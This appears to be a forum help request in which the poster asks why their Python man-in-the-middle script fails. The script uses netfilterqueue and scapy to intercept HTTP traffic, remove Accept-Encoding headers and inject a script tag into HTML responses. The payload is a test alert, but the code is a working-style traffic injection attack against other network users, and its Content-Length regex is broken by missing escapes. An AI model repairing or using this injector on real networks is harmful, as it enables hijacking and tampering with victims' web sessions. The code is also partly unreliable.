The code is supposed to print javascript alert “test” on the website that i enter to it.. but it doesn’t this command.. i don’t know why!? and this is the code ????????????????

#!/usr/bin/env python
import netfilterqueue
import scapy.all as scapy
import re

def set_load(packet, load):
    packet[scapy.Raw].load = load
    del packet[scapy.IP].len
    del packet[scapy.IP].chksum
    del packet[scapy.TCP].chksum
    return packet
def process_packet(packet):
    scapy_packet= scapy.IP(packet.get_payload())
    if scapy_packet.haslayer(scapy.Raw):
        load= scapy_packet[scapy.Raw].load
        if scapy_packet[scapy.TCP].dport == 80:
            print("[+] Request")
            load= re.sub("Accept-Encoding:.*?\r\n", "", load)

        elif scapy_packet[scapy.TCP].sport == 80:
            print("[+] Response")
            # print(scapy_packet.show())
            inject_code = "<script>alert('test');</script>"
            load = load.replace("</body>", inject_code + "</body>")
            Content_Length_Search= re.search("(?:Content-Length:s)(d*)", load)
            if Content_Length_Search and "text/html" in load:
                Content_Length= Content_Length_Search.group(1)
                new_content_length = int(Content_Length) + len(inject_code)
                load= load.replace(Content_Length, str(new_content_length))
                # print(Content_Length)

        if load!= scapy_packet[scapy.Raw].load:
            new_packet = set_load(scapy_packet, load)
            packet.set_payload(str(new_packet))

    packet.accept()
queue= netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()